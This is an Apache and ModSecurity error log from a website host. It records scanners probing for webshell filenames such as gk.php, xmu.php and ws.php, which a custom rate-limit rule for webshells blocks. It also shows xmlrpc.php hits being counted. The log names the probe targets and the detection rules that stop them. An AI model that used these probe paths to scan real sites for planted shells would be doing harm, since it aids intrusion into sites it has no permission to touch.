[Sun Apr 26 15:24:50.464347 2026] [:error] [pid 8390:tid 8472] [client 20.215.250.178:30369] [client 20.215.250.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/cwclass.php"] [unique_id "ae29woGPtFK_i9p5yxT9PwAAAJU"]
[Sun Apr 26 15:24:52.016143 2026] [:error] [pid 22573:tid 22630] [client 20.215.250.178:29913] [client 20.215.250.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/cwclass.php"] [unique_id "ae29xHB3EmQlD4yKUt-48wAAAZc"]
[Sun Apr 26 15:24:52.640513 2026] [:error] [pid 22573:tid 22609] [client 20.215.250.178:29446] [client 20.215.250.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/gk.php"] [unique_id "ae29xHB3EmQlD4yKUt-49AAAAYM"]
[Sun Apr 26 15:24:54.069645 2026] [:error] [pid 22573:tid 22619] [client 20.215.250.178:29414] [client 20.215.250.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/gk.php"] [unique_id "ae29xnB3EmQlD4yKUt-4-gAAAYw"]
[Sun Apr 26 15:24:54.353182 2026] [:error] [pid 8390:tid 8451] [client 20.215.250.178:28969] [client 20.215.250.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/edit-tags.php"] [unique_id "ae29xoGPtFK_i9p5yxT9RgAAAIA"]
[Sun Apr 26 15:24:55.978131 2026] [:error] [pid 16574:tid 16609] [client 20.215.250.178:26930] [client 20.215.250.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/edit-tags.php"] [unique_id "ae29x35MsX8wRQr99nYf6AAAA0U"]
[Sun Apr 26 15:24:56.194199 2026] [:error] [pid 8390:tid 8459] [client 20.215.250.178:30309] [client 20.215.250.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/gk.php"] [unique_id "ae29yIGPtFK_i9p5yxT9SgAAAIg"]
[Sun Apr 26 15:24:57.001334 2026] [:error] [pid 8491:tid 8500] [client 20.215.250.178:30392] [client 20.215.250.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/gk.php"] [unique_id "ae29ySq7I7e6CJooQM3j8AAAAME"]
[Sun Apr 26 15:24:57.022441 2026] [:error] [pid 22573:tid 22631] [client 20.215.250.178:30383] [client 20.215.250.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/edit-tags.php"] [unique_id "ae29yXB3EmQlD4yKUt-4_gAAAZg"]
[Sun Apr 26 15:24:57.792576 2026] [:error] [pid 22573:tid 22613] [client 20.215.250.178:29380] [client 20.215.250.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/edit-tags.php"] [unique_id "ae29yXB3EmQlD4yKUt-5AQAAAYc"]
[Sun Apr 26 15:24:57.835223 2026] [:error] [pid 22572:tid 22596] [client 20.215.250.178:29404] [client 20.215.250.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/xmu.php"] [unique_id "ae29ydXOViWCFU-pZzDvAwAAAVI"]
[Sun Apr 26 15:24:58.332915 2026] [:error] [pid 22573:tid 22612] [client 20.215.250.178:30360] [client 20.215.250.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/atomlib.php"] [unique_id "ae29ynB3EmQlD4yKUt-5BAAAAYY"]
[Sun Apr 26 15:24:58.545269 2026] [:error] [pid 22573:tid 22621] [client 20.215.250.178:30321] [client 20.215.250.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/xmu.php"] [unique_id "ae29ynB3EmQlD4yKUt-5BQAAAY4"]
[Sun Apr 26 15:24:58.926108 2026] [:error] [pid 8390:tid 8464] [client 20.215.250.178:30274] [client 20.215.250.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/atomlib.php"] [unique_id "ae29yoGPtFK_i9p5yxT9SwAAAI0"]
[Sun Apr 26 15:24:59.602916 2026] [:error] [pid 22573:tid 22625] [client 20.215.250.178:29934] [client 20.215.250.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/atomlib.php"] [unique_id "ae29y3B3EmQlD4yKUt-5BwAAAZI"]
[Sun Apr 26 15:24:59.914173 2026] [:error] [pid 22573:tid 22618] [client 20.215.250.178:29900] [client 20.215.250.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/xmu.php"] [unique_id "ae29y3B3EmQlD4yKUt-5CQAAAYs"]
[Sun Apr 26 15:25:00.814050 2026] [:error] [pid 13197:tid 13237] [client 20.215.250.178:29939] [client 20.215.250.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/xmu.php"] [unique_id "ae29zN3kktFKdSxTrBvABgAAAsY"]
[Sun Apr 26 15:25:01.250658 2026] [:error] [pid 8491:tid 8502] [client 20.215.250.178:30285] [client 20.215.250.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/atomlib.php"] [unique_id "ae29zSq7I7e6CJooQM3j8wAAAMM"]
[Sun Apr 26 15:25:02.386067 2026] [:error] [pid 8491:tid 8499] [client 20.215.250.178:28441] [client 20.215.250.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/zoper1.php"] [unique_id "ae29ziq7I7e6CJooQM3j9QAAAMA"]
[Sun Apr 26 15:25:03.053792 2026] [:error] [pid 16574:tid 16641] [client 20.215.250.178:29926] [client 20.215.250.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/sd.php"] [unique_id "ae29z35MsX8wRQr99nYf6QAAA1c"]
[Sun Apr 26 15:25:03.286740 2026] [:error] [pid 13197:tid 13254] [client 20.215.250.178:29447] [client 20.215.250.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/zoper1.php"] [unique_id "ae29z93kktFKdSxTrBvACQAAAtY"]
[Sun Apr 26 15:25:04.716452 2026] [:error] [pid 8491:tid 8509] [client 20.215.250.178:29989] [client 20.215.250.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/sd.php"] [unique_id "ae290Cq7I7e6CJooQM3j-gAAAMo"]
[Sun Apr 26 15:25:04.891944 2026] [:error] [pid 13137:tid 13144] [client 20.215.250.178:30284] [client 20.215.250.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/zoper1.php"] [unique_id "ae290N0RB4J0o4h5neFHOQAAAgQ"]
[Sun Apr 26 15:25:05.554581 2026] [:error] [pid 13137:tid 13156] [client 20.215.250.178:29936] [client 20.215.250.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/sd.php"] [unique_id "ae290d0RB4J0o4h5neFHOgAAAg8"]
[Sun Apr 26 15:25:05.662201 2026] [:error] [pid 8390:tid 8470] [client 20.215.250.178:28880] [client 20.215.250.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/zoper1.php"] [unique_id "ae290YGPtFK_i9p5yxT9UQAAAJM"]
[Sun Apr 26 15:25:06.407305 2026] [:error] [pid 22573:tid 22622] [client 20.215.250.178:29916] [client 20.215.250.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/a5.php"] [unique_id "ae290nB3EmQlD4yKUt-5DQAAAY8"]
[Sun Apr 26 15:25:07.435490 2026] [:error] [pid 16515:tid 16528] [client 20.215.250.178:29429] [client 20.215.250.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/sd.php"] [unique_id "ae2901tDrUmgHSvpuLwZ5AAAAko"]
[Sun Apr 26 15:25:08.679118 2026] [:error] [pid 13137:tid 13155] [client 20.215.250.178:30394] [client 20.215.250.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/a5.php"] [unique_id "ae291N0RB4J0o4h5neFHQAAAAg4"]
[Sun Apr 26 15:25:12.042363 2026] [:error] [pid 8390:tid 8461] [client 20.215.250.178:29984] [client 20.215.250.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/a5.php"] [unique_id "ae292IGPtFK_i9p5yxT9VQAAAIo"]
[Sun Apr 26 15:25:13.047189 2026] [:error] [pid 8390:tid 8460] [client 20.215.250.178:30906] [client 20.215.250.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/a5.php"] [unique_id "ae292YGPtFK_i9p5yxT9WAAAAIk"]
[Sun Apr 26 15:25:14.024004 2026] [:error] [pid 8390:tid 8466] [client 20.215.250.178:30326] [client 20.215.250.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ai.php"] [unique_id "ae292oGPtFK_i9p5yxT9WgAAAI8"]
[Sun Apr 26 15:25:14.703795 2026] [:error] [pid 13137:tid 13165] [client 20.215.250.178:29888] [client 20.215.250.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ai.php"] [unique_id "ae292t0RB4J0o4h5neFHSAAAAhg"]
[Sun Apr 26 15:25:15.542802 2026] [:error] [pid 8390:tid 8461] [client 20.215.250.178:30877] [client 20.215.250.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ai.php"] [unique_id "ae2924GPtFK_i9p5yxT9YgAAAIo"]
[Sun Apr 26 15:25:16.361070 2026] [:error] [pid 8390:tid 8465] [client 20.215.250.178:29952] [client 20.215.250.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ai.php"] [unique_id "ae293IGPtFK_i9p5yxT9ZgAAAI4"]
[Sun Apr 26 15:25:17.109856 2026] [:error] [pid 8390:tid 8456] [client 20.215.250.178:30904] [client 20.215.250.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/jga.php"] [unique_id "ae293YGPtFK_i9p5yxT9awAAAIU"]
[Sun Apr 26 15:25:18.261673 2026] [:error] [pid 8390:tid 8451] [client 20.215.250.178:30334] [client 20.215.250.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/jga.php"] [unique_id "ae293oGPtFK_i9p5yxT9cQAAAIA"]
[Sun Apr 26 15:25:19.200592 2026] [:error] [pid 8390:tid 8453] [client 20.215.250.178:30001] [client 20.215.250.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/jga.php"] [unique_id "ae2934GPtFK_i9p5yxT9cwAAAII"]
[Sun Apr 26 15:25:20.429127 2026] [:error] [pid 13137:tid 13154] [client 20.215.250.178:29412] [client 20.215.250.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/jga.php"] [unique_id "ae294N0RB4J0o4h5neFHTQAAAg0"]
[Sun Apr 26 15:25:21.645575 2026] [:error] [pid 8390:tid 8456] [client 20.215.250.178:29971] [client 20.215.250.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/term.php"] [unique_id "ae294YGPtFK_i9p5yxT9eQAAAIU"]
[Sun Apr 26 15:25:22.691062 2026] [:error] [pid 22573:tid 22616] [client 20.215.250.178:29413] [client 20.215.250.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/term.php"] [unique_id "ae294nB3EmQlD4yKUt-5KAAAAYk"]
[Sun Apr 26 15:25:23.796814 2026] [:error] [pid 13197:tid 13247] [client 20.215.250.178:30879] [client 20.215.250.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/term.php"] [unique_id "ae29493kktFKdSxTrBvADAAAAs8"]
[Sun Apr 26 15:25:24.480873 2026] [:error] [pid 16515:tid 16542] [client 20.215.250.178:29956] [client 20.215.250.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/term.php"] [unique_id "ae295FtDrUmgHSvpuLwZ6QAAAlg"]
[Sun Apr 26 15:25:25.065638 2026] [:error] [pid 8390:tid 8475] [client 20.215.250.178:30880] [client 20.215.250.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/gk.php"] [unique_id "ae295YGPtFK_i9p5yxT9ggAAAJg"]
[Sun Apr 26 15:25:26.223871 2026] [proxy_fcgi:error] [pid 8390:tid 8473] [client 20.215.250.178:30787] AH01071: Got error 'Primary script unknown'
[Sun Apr 26 15:25:26.520811 2026] [proxy_fcgi:error] [pid 8390:tid 8467] [client 20.215.250.178:30787] AH01071: Got error 'Primary script unknown'
[Sun Apr 26 15:25:26.803588 2026] [proxy_fcgi:error] [pid 8390:tid 8471] [client 20.215.250.178:30787] AH01071: Got error 'Primary script unknown'
[Sun Apr 26 15:50:26.791843 2026] [:error] [pid 13137:tid 13144] [client 59.184.193.74:64862] [client 59.184.193.74] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 59.184.193.74, incrementing ddos counter"] [hostname "agraphics.com.au"] [uri "/xmlrpc.php"] [unique_id "ae3Dwt0RB4J0o4h5neFKxAAAAgQ"]
[Sun Apr 26 15:50:26.802434 2026] [proxy_fcgi:error] [pid 13137:tid 13144] [client 59.184.193.74:64862] AH01071: Got error 'Primary script unknown'
[Mon Apr 27 02:09:21.950317 2026] [proxy_fcgi:error] [pid 22573:tid 22615] [client 20.219.12.30:4787] AH01071: Got error 'Primary script unknown'
[Mon Apr 27 02:09:22.091407 2026] [proxy_fcgi:error] [pid 22573:tid 22623] [client 20.219.12.30:4787] AH01071: Got error 'Primary script unknown'
[Mon Apr 27 02:09:22.370331 2026] [proxy_fcgi:error] [pid 22573:tid 22626] [client 20.219.12.30:4787] AH01071: Got error 'Primary script unknown'
[Mon Apr 27 02:09:22.510224 2026] [proxy_fcgi:error] [pid 22573:tid 22612] [client 20.219.12.30:4787] AH01071: Got error 'Primary script unknown'
[Mon Apr 27 02:09:22.811912 2026] [proxy_fcgi:error] [pid 22573:tid 22613] [client 20.219.12.30:4787] AH01071: Got error 'Primary script unknown'
[Mon Apr 27 02:09:22.951698 2026] [proxy_fcgi:error] [pid 22573:tid 22618] [client 20.219.12.30:4787] AH01071: Got error 'Primary script unknown'
[Mon Apr 27 02:09:23.092976 2026] [proxy_fcgi:error] [pid 22573:tid 22629] [client 20.219.12.30:4787] AH01071: Got error 'Primary script unknown'
[Mon Apr 27 02:09:23.509404 2026] [:error] [pid 22573:tid 22607] [client 20.219.12.30:4787] [client 20.219.12.30] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ws.php"] [unique_id "ae5U03B3EmQlD4yKUt890AAAAYE"]
[Mon Apr 27 02:09:24.058038 2026] [:error] [pid 13197:tid 13252] [client 20.219.12.30:4775] [client 20.219.12.30] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ws.php"] [unique_id "ae5U1N3kktFKdSxTrBv1_AAAAtQ"]
[Mon Apr 27 02:09:24.615433 2026] [:error] [pid 8390:tid 8455] [client 20.219.12.30:4793] [client 20.219.12.30] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ws.php"] [unique_id "ae5U1IGPtFK_i9p5yxTIQAAAAIQ"]
[Mon Apr 27 02:09:25.163881 2026] [:error] [pid 16574:tid 16641] [client 20.219.12.30:4772] [client 20.219.12.30] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ws.php"] [unique_id "ae5U1X5MsX8wRQr99nZRLgAAA1c"]
[Mon Apr 27 03:57:37.627731 2026] [:error] [pid 22647:tid 22730] [client 89.163.146.197:62521] [client 89.163.146.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/txets.php"] [unique_id "ae5uMWjfVULTjnk5SzNhUQAAAJQ"], referer: www.google.com
[Mon Apr 27 12:41:45.982082 2026] [autoindex:error] [pid 62511:tid 62580] [client 20.219.12.30:6505] AH01276: Cannot serve directory /home/agraphicscom/public_html/.well-known/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Apr 27 12:41:46.134814 2026] [proxy_fcgi:error] [pid 62511:tid 62589] [client 20.219.12.30:6505] AH01071: Got error 'Primary script unknown'
[Mon Apr 27 12:41:46.281153 2026] [proxy_fcgi:error] [pid 62511:tid 62591] [client 20.219.12.30:6505] AH01071: Got error 'Primary script unknown'
[Mon Apr 27 12:41:46.452804 2026] [autoindex:error] [pid 62511:tid 62593] [client 20.219.12.30:6505] AH01276: Cannot serve directory /home/agraphicscom/public_html/.well-known/pki-validation/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Apr 27 12:41:46.598901 2026] [proxy_fcgi:error] [pid 62511:tid 62587] [client 20.219.12.30:6505] AH01071: Got error 'Primary script unknown'
[Mon Apr 27 12:41:46.745906 2026] [proxy_fcgi:error] [pid 62511:tid 62582] [client 20.219.12.30:6505] AH01071: Got error 'Primary script unknown'
[Mon Apr 27 12:41:47.036990 2026] [proxy_fcgi:error] [pid 62511:tid 62581] [client 20.219.12.30:6505] AH01071: Got error 'Primary script unknown'
[Mon Apr 27 12:41:47.183692 2026] [proxy_fcgi:error] [pid 62511:tid 62586] [client 20.219.12.30:6505] AH01071: Got error 'Primary script unknown'
[Mon Apr 27 12:41:47.333026 2026] [proxy_fcgi:error] [pid 62511:tid 62595] [client 20.219.12.30:6505] AH01071: Got error 'Primary script unknown'
[Mon Apr 27 12:41:47.481364 2026] [proxy_fcgi:error] [pid 62511:tid 62590] [client 20.219.12.30:6505] AH01071: Got error 'Primary script unknown'
[Mon Apr 27 12:41:47.627266 2026] [proxy_fcgi:error] [pid 62511:tid 62596] [client 20.219.12.30:6505] AH01071: Got error 'Primary script unknown'
